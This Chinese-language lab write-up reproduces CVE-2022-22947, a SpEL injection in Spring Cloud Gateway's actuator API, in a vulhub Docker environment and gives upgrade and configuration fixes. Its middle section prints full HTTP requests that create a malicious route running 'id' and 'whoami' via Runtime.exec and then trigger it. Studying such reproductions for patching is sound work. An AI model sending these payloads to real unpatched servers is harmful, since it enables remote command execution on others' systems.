一、漏洞简介
Spring Cloud是一系列框架的有序集合。它利用Spring Boot的开发便利性巧妙地简化了分布式系统基础设施的开发,如服务发现注册、配置中心、消息总线、负载均衡、断路器、数据监控等,都可以用Spring Boot的开发风格做到一键启动和部署。
其3.1.0及3.0.6版本(包含)以前存在一处SpEL表达式注入漏洞,当攻击者可以访问Actuator API的情况下,将可以利用该漏洞执行任意命令。
受影响版本:
3.1.0
3.0.0-3.0.6
3.0.0之前的版本
二、环境搭建
进入vulhub目录,开启漏洞环境
cd vulhub/spring/CVE-2022-22947
docker-compose up -d
漏洞环境拉取成功后访问
三、漏洞复现
依次发送如下请求包:
1、以POST方法请求 /actuator/gateway/routes/error
并提交以下数据,用于创建一条恶意路由
POST /actuator/gateway/routes/error HTTP/1.1
Host: 192.168.25.21:8080
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36
Connection: close
Content-Type: application/json
Content-Length: 338
{
"id": "error",
"filters": [{
"name": "AddResponseHeader",
"args": {
"name": "Result",
"value": "#{new java.lang.String(T(org.springframework.util.StreamUtils).copyToByteArray(T(java.lang.Runtime).getRuntime().exec(new String[]{\"id\"}).getInputStream()))}"
}
}],
"uri": "http://www.baidu.com"
}
2、接着以POST方法请求 /actuator/gateway/refresh
用于刷新路由,使刚添加的恶意路由生效
POST /actuator/gateway/refresh HTTP/1.1
Host: 192.168.25.21:8080
User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:101.0) Gecko/20100101 Firefox/101.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1
Content-Type: application/x-www-form-urlencoded
Content-Length: 337
{
"id": "EchoSec",
"filters": [{
"name": "AddResponseHeader",
"args": {
"name": "Result",
"value": "#{new String(T(org.springframework.util.StreamUtils).copyToByteArray(T(java.lang.Runtime).getRuntime().exec(new String[]{\"whoami\"}).getInputStream()))}"
}
}],
"uri": "http://www.baidu.com"
}
3、最后以GET方法请求,触发恶意路由
GET /actuator/gateway/routes HTTP/1.1
Host: 192.168.25.21:8080
User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:101.0) Gecko/20100101 Firefox/101.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1
Content-Type: application/x-www-form-urlencoded
Content-Length: 0
第三次请求的相应如下图所示:`id`命令执行成功
4、自动化利用工具
四、修复方案
1、3.1.x 版本用户应升级到 3.1.1+ 版本,3.0.x 版本用户应升级到 3.0.7+ 版本。
2、在不影响业务的前提下,通过将配置选项management.endpoint.gateway.enabled设置为false禁用gateway actuator endpoint。
参考: CVE-2022-22947漏洞解决